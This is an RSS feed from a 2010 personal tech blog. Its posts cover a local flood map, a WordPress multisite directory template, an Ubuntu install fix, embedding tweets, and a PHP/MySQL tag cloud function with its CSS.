<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>T. Longren</title>
	
	<link>http://www.longren.org</link>
	<description>Certified &amp; Decorated</description>
	<lastBuildDate>Sat, 14 Aug 2010 04:42:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<feedburner:info uri="tlongren" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>42.026021</geo:lat><geo:long>-93.448408</geo:long><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://www.longren.org/feed/" /><feedburner:browserFriendly>This is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site, subject to copyright and fair use.</feedburner:browserFriendly><item>
		<title>2010 Ames, IA Flood Map</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/2W7qlbC_RHU/</link>
		<comments>http://www.longren.org/2010/08/13/2010-ames-ia-flood-map/#comments</comments>
		<pubDate>Sat, 14 Aug 2010 04:28:41 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[ames]]></category>
		<category><![CDATA[ames flood]]></category>
		<category><![CDATA[iowa]]></category>
		<category><![CDATA[iowa floods]]></category>
		<category><![CDATA[photos]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2610</guid>
		<description><![CDATA[David Runneals put together a nice map with lots of info about the flooding in Ames, IA. I managed to take quite a few photos around Ames and Nevada, you can find them in this set on Flickr. There are currently four panoramas that do a pretty good job of showing how much water there [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.twitter.com/pubrunneals/">David Runneals</a> put together <a href="http://www.productions.runneals.com/?p=13">a nice map</a> with lots of info about the <a href="http://amestrib.com/articles/2010/08/13/ames_tribune/news/doc4c63e2f8859c5376905805.txt">flooding in Ames, IA</a>.</p>
<p>I managed to take quite a few photos around Ames and Nevada, you can find them in <a href="http://www.flickr.com/photos/tlongren/sets/72157624582605957/with/4890043322/">this set on Flickr</a>. There are <a href="http://www.flickr.com/photos/tlongren/4890043322/">currently</a> <a href="http://www.flickr.com/photos/tlongren/4886332817/">four</a> <a href="http://www.flickr.com/photos/tlongren/4884333304/">panoramas</a> <a href="http://www.flickr.com/photos/tlongren/4883724797/">that</a> do a pretty good job of showing how much water there was on the East side of Ames.</p>
<p>The Ames Tribune has <a href="http://inisites.com/pdf/amesflood2010.pdf">a PDF</a> with some really cool aerial shots, it&#8217;s worth checking out.</p>
<div class="shr-publisher-2610"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/cYuGksLbC-v8qUSlco3sUeWaVb0/0/da"><img src="http://feedads.g.doubleclick.net/~a/cYuGksLbC-v8qUSlco3sUeWaVb0/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/cYuGksLbC-v8qUSlco3sUeWaVb0/1/da"><img src="http://feedads.g.doubleclick.net/~a/cYuGksLbC-v8qUSlco3sUeWaVb0/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=2W7qlbC_RHU:PBl1NxhQMsI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=2W7qlbC_RHU:PBl1NxhQMsI:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=2W7qlbC_RHU:PBl1NxhQMsI:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=2W7qlbC_RHU:PBl1NxhQMsI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=2W7qlbC_RHU:PBl1NxhQMsI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=2W7qlbC_RHU:PBl1NxhQMsI:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=2W7qlbC_RHU:PBl1NxhQMsI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=2W7qlbC_RHU:PBl1NxhQMsI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=2W7qlbC_RHU:PBl1NxhQMsI:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=2W7qlbC_RHU:PBl1NxhQMsI:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/2W7qlbC_RHU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2010/08/13/2010-ames-ia-flood-map/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.longren.org/2010/08/13/2010-ames-ia-flood-map/</feedburner:origLink></item>
		<item>
		<title>How To: WordPress 3.0 Multi-site Blog Directory</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/bTbxBd-t6MA/</link>
		<comments>http://www.longren.org/2010/06/13/how-to-wordpress-3-0-multi-site-blog-directory/#comments</comments>
		<pubDate>Sun, 13 Jun 2010 22:33:22 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wordpress-3.0]]></category>
		<category><![CDATA[wordpress-theme]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2594</guid>
		<description><![CDATA[I&#8217;ve been using this WordPress page template lately for creating a directory page. The directory page lists every blog on a WordPress 3.0 multi-site setup and includes the author name, author bio, number of posts, last updated time, and gravatar. One thing it DOES NOT include is recent posts. I will get around to adding [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been using this WordPress page template lately for creating a directory page. The directory page lists every blog on a WordPress 3.0 multi-site setup and includes the author name, author bio, number of posts, last updated time, and gravatar. <del>One thing it DOES NOT include is recent posts. I will get around to adding that in a few weeks.</del> It also lists the 5 most recent posts for each blog.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
I like using the <a href="http://www.1kbgrid.com/">1kb css grid system</a> for laying pages out, so you can see what I use for css in the zip file. If you want to roll with that setup, you can just copy and paste the contents of <strong>css.css</strong> into the <strong>style.css</strong> file for your theme. And move <strong>sign.png</strong> into the <strong>images/</strong> folder for your theme. You&#8217;ll also want to do something with the <strong>blog-directory.php</strong> file.</p>
<p><strong>blog-directory.php</strong> is a custom page template for Twenty Ten. If you&#8217;re using the Twenty Ten theme, you can just drop <strong>blog-directory.php</strong> into the &#8220;twentyten&#8221; theme folder and be done. If you&#8217;re using another theme you&#8217;ll need to open blog-directory.php and copy everything between <strong>&lt;!&#8211; start blog directory &#8211;&gt;</strong> and <strong>&lt;!&#8211; end blog directory &#8211;&gt;</strong> and paste it into a custom template for your theme.</p>
<p>If you&#8217;re not familiar with custom page templates in WordPress, you can <a href="http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates">read about them here</a>.</p>
<p class="download"><a href="http://www.longren.org/downloads/blog-directory.zip">Download blog-directory.zip</a></p>
<div class="shr-publisher-2594"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/CiaCwDW2pPjWahf3lYLIGe1LwHE/0/da"><img src="http://feedads.g.doubleclick.net/~a/CiaCwDW2pPjWahf3lYLIGe1LwHE/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/CiaCwDW2pPjWahf3lYLIGe1LwHE/1/da"><img src="http://feedads.g.doubleclick.net/~a/CiaCwDW2pPjWahf3lYLIGe1LwHE/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=bTbxBd-t6MA:ESmnV_YRWYA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=bTbxBd-t6MA:ESmnV_YRWYA:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=bTbxBd-t6MA:ESmnV_YRWYA:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=bTbxBd-t6MA:ESmnV_YRWYA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=bTbxBd-t6MA:ESmnV_YRWYA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=bTbxBd-t6MA:ESmnV_YRWYA:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=bTbxBd-t6MA:ESmnV_YRWYA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=bTbxBd-t6MA:ESmnV_YRWYA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=bTbxBd-t6MA:ESmnV_YRWYA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=bTbxBd-t6MA:ESmnV_YRWYA:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/bTbxBd-t6MA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2010/06/13/how-to-wordpress-3-0-multi-site-blog-directory/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://www.longren.org/2010/06/13/how-to-wordpress-3-0-multi-site-blog-directory/</feedburner:origLink></item>
		<item>
		<title>How To: Make Ubuntu Recognize All Drives During Install</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/hZMdBxXadLk/</link>
		<comments>http://www.longren.org/2010/05/11/how-to-make-ubuntu-recognize-all-drives-during-install/#comments</comments>
		<pubDate>Wed, 12 May 2010 02:08:12 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Noteworthy]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2580</guid>
		<description><![CDATA[When Ubuntu 9.10 Karmic Koala came out, I did an upgrade on one of my machines instead of doing a fresh install. I decided it was time to do a fresh install after Ubuntu 10.04 Lucid Lynx came out. I backed up all of my important files and some configuration files to a second drive, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.longren.org/wp-content/uploads/2010/05/4599661699_4f1e1fe178_o.png" rel="thumbnail" title="Ubuntu 10.04 Install Missing Hard Drive"><img src="http://www.longren.org/wp-content/uploads/2010/05/4599661699_4f1e1fe178_o-150x150.png" alt="Ubuntu 10.04 Install Missing Hard Drive" title="4599661699_4f1e1fe178_o" width="150" height="150" class="alignleft size-thumbnail wp-image-2581" /></a>When Ubuntu 9.10 Karmic Koala came out, I did an upgrade on one of my machines instead of doing a fresh install. I decided it was time to do a fresh install after Ubuntu 10.04 Lucid Lynx came out.</p>
<p>I backed up all of my important files and some configuration files to a second drive, /dev/sdb. My previous Ubuntu install was installed on /dev/sda1 and I used the sdb drive for photos and videos.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
When the installation got to the point of configuring partitions, I was a little bummed to see that my first drive, /dev/sda, wasn&#8217;t included in the list of drives and partitions. This machine needed a fresh install badly, so I posted on the <a href="http://ubuntuforums.org/showthread.php?p=9221495">Ubuntu Forums</a> to see if anyone knew of a fix.</p>
<p>After a few days of no replies, <a href="http://ubuntuforums.org/member.php?u=431577">gregmo</a> posted and offered <a href="http://ubuntuforums.org/showpost.php?p=9231691&#038;postcount=5">a solution</a>. He suggested running the command below while running the live cd, prior to installing. This removes <a href="http://linuxmanpages.com/man8/dmraid.8.php">dmraid</a> from the system running off the live cd.</p>
<pre><code>sudo apt-get remove dmraid</code></pre>
<p>After removing the dmraid package, I fired up the installer and was able to install to /dev/sda1 just fine. For some reason, removing the dmraid package allowed the partition manager to see /dev/sda.</p>
<div class="shr-publisher-2580"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/URwXbMpBcwA7QUj2YmNAhglohH4/0/da"><img src="http://feedads.g.doubleclick.net/~a/URwXbMpBcwA7QUj2YmNAhglohH4/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/URwXbMpBcwA7QUj2YmNAhglohH4/1/da"><img src="http://feedads.g.doubleclick.net/~a/URwXbMpBcwA7QUj2YmNAhglohH4/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=hZMdBxXadLk:O3LN9gZwTN8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=hZMdBxXadLk:O3LN9gZwTN8:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=hZMdBxXadLk:O3LN9gZwTN8:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=hZMdBxXadLk:O3LN9gZwTN8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=hZMdBxXadLk:O3LN9gZwTN8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=hZMdBxXadLk:O3LN9gZwTN8:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=hZMdBxXadLk:O3LN9gZwTN8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=hZMdBxXadLk:O3LN9gZwTN8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=hZMdBxXadLk:O3LN9gZwTN8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=hZMdBxXadLk:O3LN9gZwTN8:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/hZMdBxXadLk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2010/05/11/how-to-make-ubuntu-recognize-all-drives-during-install/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.longren.org/2010/05/11/how-to-make-ubuntu-recognize-all-drives-during-install/</feedburner:origLink></item>
		<item>
		<title>Twitter: Embed Tweets in Your Blog or Website</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/nMflQeE6I0I/</link>
		<comments>http://www.longren.org/2010/05/10/twitter-embed-tweets-in-your-blog-or-website/#comments</comments>
		<pubDate>Mon, 10 May 2010 21:41:50 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Noteworthy]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2572</guid>
		<description><![CDATA[Today I discovered Blackbird Pie, by way of a post on Noscope. Blackbird Pie is a tool provided by the Twitter Media team that allows you to embed tweets directly in your blog posts or any website really. Here&#8217;s a good description of Blackbird Pie from a post at media.twitter.com: The origin of the script [...]]]></description>
			<content:encoded><![CDATA[<p>Today I discovered <a href="http://media.twitter.com/blackbird-pie/">Blackbird Pie</a>, by way of <a href="http://noscope.com/journal/2010/05/embeddable-tweets">a post on Noscope</a>.</p>
<p><a href="http://media.twitter.com/blackbird-pie/">Blackbird Pie</a> is a tool provided by the <a href="http://media.twitter.com/">Twitter Media</a> team that allows you to embed tweets directly in your blog posts or any website really. Here&#8217;s a good description of Blackbird Pie from <a href="http://media.twitter.com/411/fresh-baked-tweets/">a post at media.twitter.com</a>:</p>
<blockquote><p>The origin of the script is both self- and user-centered. Mostly, we just think it’s a pain to take screen grabs of tweets. But of course we also think it’s a much better user experience to have @-mentions, hashtags and the account itself all linked and clickable.</p></blockquote>
<p><!-- http://twitter.com/tlongren/statuses/13741976795 --><br />
<style type='text/css'>.bbpBox{background:url(http://a3.twimg.com/profile_background_images/3177851/PA07-Plaid-Green-sm-4.png) #738C75;padding:20px;}p.bbpTweet{background:#fff;padding:10px 12px 10px 12px;margin:0;min-height:48px;color:#000;font-size:18px !important;line-height:22px;-moz-border-radius:5px;-webkit-border-radius:5px}p.bbpTweet span.metadata{display:block;width:100%;clear:both;margin-top:8px;padding-top:12px;height:40px;border-top:1px solid #fff;border-top:1px solid #e6e6e6}p.bbpTweet span.metadata span.author{line-height:19px}p.bbpTweet span.metadata span.author img{float:left;margin:0 7px 0 0px;width:38px;height:38px}p.bbpTweet a:hover{text-decoration:underline}p.bbpTweet span.timestamp{font-size:12px;display:block}</style>
<div class='bbpBox'>
<p class='bbpTweet'>This is my 6000th tweet. Oh, and Blackbird Pie (<a href="http://bit.ly/9WG6vd)" rel="nofollow">http://bit.ly/9WG6vd)</a> is cool!<span class='timestamp'><a title='Mon May 10 18:45:16 +0000 2010' href='http://twitter.com/tlongren/statuses/13741976795'>less than a minute ago</a> via <a href="http://cotweet.com/?utm_source=sp1" rel="nofollow">CoTweet</a></span><span class='metadata'><span class='author'><a href='http://twitter.com/tlongren'><img src='http://a3.twimg.com/profile_images/802220137/4483138856_aecdd86d8d_m_normal.jpg' /></a><strong><a href='http://twitter.com/tlongren'>Tyler Longren</a></strong><br/>tlongren</span></span></p>
</div>
<p> <!-- end of tweet --><br />
The tweet above is an example of what Blackbird Pie does, definately much better than having to take a screenshot and post the tweet that way. All you have to do is provide the URL to the tweet and Blackbird Pie will spit out code for you to post in your blog or website. Now you can actually link directly to the tweet and the tweets author, and have the tweets content visible to search engines, something not possible with screenshots alone. Hashtags and @ mentions are also linked.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
It&#8217;s a neat tool, sure to be of use to folks who like to embed tweets in their site. <a href="http://media.twitter.com/blackbird-pie/">Blackbird Pie</a> is a way better option for embedding tweets compared to simply taking screenshots of tweets.</p>
<div class="shr-publisher-2572"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/VNwVaLGD6YT63Cro8e6PdO-lNeA/0/da"><img src="http://feedads.g.doubleclick.net/~a/VNwVaLGD6YT63Cro8e6PdO-lNeA/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/VNwVaLGD6YT63Cro8e6PdO-lNeA/1/da"><img src="http://feedads.g.doubleclick.net/~a/VNwVaLGD6YT63Cro8e6PdO-lNeA/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=nMflQeE6I0I:RW96RLbFev4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=nMflQeE6I0I:RW96RLbFev4:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=nMflQeE6I0I:RW96RLbFev4:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=nMflQeE6I0I:RW96RLbFev4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=nMflQeE6I0I:RW96RLbFev4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=nMflQeE6I0I:RW96RLbFev4:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=nMflQeE6I0I:RW96RLbFev4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=nMflQeE6I0I:RW96RLbFev4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=nMflQeE6I0I:RW96RLbFev4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=nMflQeE6I0I:RW96RLbFev4:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/nMflQeE6I0I" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2010/05/10/twitter-embed-tweets-in-your-blog-or-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.longren.org/2010/05/10/twitter-embed-tweets-in-your-blog-or-website/</feedburner:origLink></item>
		<item>
		<title>How To: Build a Tag Cloud with PHP, MySQL, and CSS</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/d8rcRgPFy5w/</link>
		<comments>http://www.longren.org/2010/02/24/how-to-build-a-tag-cloud-with-php-mysql-and-css/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 04:23:43 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Noteworthy]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2526</guid>
		<description><![CDATA[Tag clouds are everywhere. They are a popular way to show the weight (read: popularity) of tags, categories, or any words really. I needed to build a tag cloud for a project at work to display categories and show how many questions were contained inside each category. Categories with more questions would need a larger [...]]]></description>
			<content:encoded><![CDATA[<p>Tag clouds are everywhere. They are a popular way to show the weight (read: popularity) of tags, categories, or any words really. I needed to build a tag cloud for a project at work to display categories and show how many questions were contained inside each category. Categories with more questions would need a larger font, and categories with fewer questions would need smaller fonts. I came across <a href="http://stevethomas.com.au/php/how-to-make-a-tag-cloud-in-php-mysql-and-css.html">this post</a> from <a href="http://stevethomas.com.au/">Steve Thomas</a> titled <a href="http://stevethomas.com.au/php/how-to-make-a-tag-cloud-in-php-mysql-and-css.html"><em>How to make a tag cloud in PHP, MySQL and CSS</em></a>.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
Steve&#8217;s code is exactly what I was looking for. I made a few modifications to his code and wrapped it all into a custom PHP function, which you can see below.</p>
<p class="download"><a href="http://www.longren.org/downloads/tagcloud.zip">Download The Code</a></p>
<p>The function returns an array that contains each category name, the CSS class that should be applied to the given category, and the category ID for linking to the page showing only questions in that category.</p>
<pre><code>&lt;?php
function tagCloud($maximum=0) {
	$cats = array(); // create empty array

	$query = mysql_query("SELECT categories.catDesc, categories.catId, COUNT( questions.id ) AS totalQuestions FROM questions, categories WHERE questions.categoryId = categories.catId GROUP BY categories.catId;");
	while ($row = mysql_fetch_array($query)) {
		$cat = $row['catDesc'];
		$counter = $row['totalQuestions'];
		$catid = $row['catID'];

		// update $maximum if this term is more popular than the previous terms
		if ($counter&gt; $maximum) $maximum = $counter;

		$percent = floor(($counter / $maximum) * 100);
		if ($percent &lt;20) {
			$class = 'smallest';
		}
		elseif ($percent&gt;= 20 and $percent &lt;40) {
			$class = 'small';
		}
		elseif ($percent&gt;= 40 and $percent &lt;60) {
			$class = 'medium';
		}
		elseif ($percent&gt;= 60 and $percent &lt;80) {
			$class = 'large';
		}
		else {
			$class = 'largest';
		}
		$cats[] = array('term' =&gt; $cat, 'class' =&gt; $class, 'catid' =&gt; $catid);

	}
	return $cats;
}
?&gt;</code></pre>
<p>You&#8217;ll also need some CSS to style your tag cloud. This CSS is pretty much identical to what Steve published, I only made some minor changes to font sizes.</p>
<pre><code>#tagcloud {
    width: 300px;
    background:#FFFFCC;
    color:#0066FF;
    padding: 10px;
    border: 1px solid #FFE7B6;
    text-align:center;
}

#tagcloud a:link, #tagcloud a:visited {
    text-decoration:none;
}

#tagcloud a:hover, #tagcloud a:active {
    text-decoration: underline;
    color: #000;
}

#tagcloud span {
    padding: 4px;
}

.smallest {
    font-size: 10px;
}

.small {
    font-size: 12px;
}

.medium {
    font-size:14px;
}

.large {
    font-size:16px;
}

.largest {
    font-size:18px;
}</code></pre>
<p>To use the function, do something like this:</p>
<pre><code>&lt;div id="tagcloud"&gt;
&lt;?php
$tagCloud = tagCloud();
foreach ($tagCloud as $t) {
	$cat = $t['term'];
	$class = $t['class'];
	$catid = $t['catid'];
	print "<span class=\"$class\">&lt;a href=\"category.php?id=$catid\"&gt;$cat&lt;/a&gt;</span>";
}
?&gt;
&lt;/div&gt;</code></pre>
<p>I am still testing this code, but so far it seems to do exactly what I need it to do. If you experience trouble with the code or if it doesn&#8217;t act as expected, please let me know in the comments. If you&#8217;ve got ideas on how to improve the function, I&#8217;d love to hear your thoughts as well!</p>
<div class="shr-publisher-2526"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/IBJWiqW2yr3O5T24OcaPn_OXzM8/0/da"><img src="http://feedads.g.doubleclick.net/~a/IBJWiqW2yr3O5T24OcaPn_OXzM8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/IBJWiqW2yr3O5T24OcaPn_OXzM8/1/da"><img src="http://feedads.g.doubleclick.net/~a/IBJWiqW2yr3O5T24OcaPn_OXzM8/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=d8rcRgPFy5w:RhFkNbxQcHA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=d8rcRgPFy5w:RhFkNbxQcHA:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=d8rcRgPFy5w:RhFkNbxQcHA:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=d8rcRgPFy5w:RhFkNbxQcHA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=d8rcRgPFy5w:RhFkNbxQcHA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=d8rcRgPFy5w:RhFkNbxQcHA:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=d8rcRgPFy5w:RhFkNbxQcHA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=d8rcRgPFy5w:RhFkNbxQcHA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=d8rcRgPFy5w:RhFkNbxQcHA:gIN9vFwOqvQ"><img 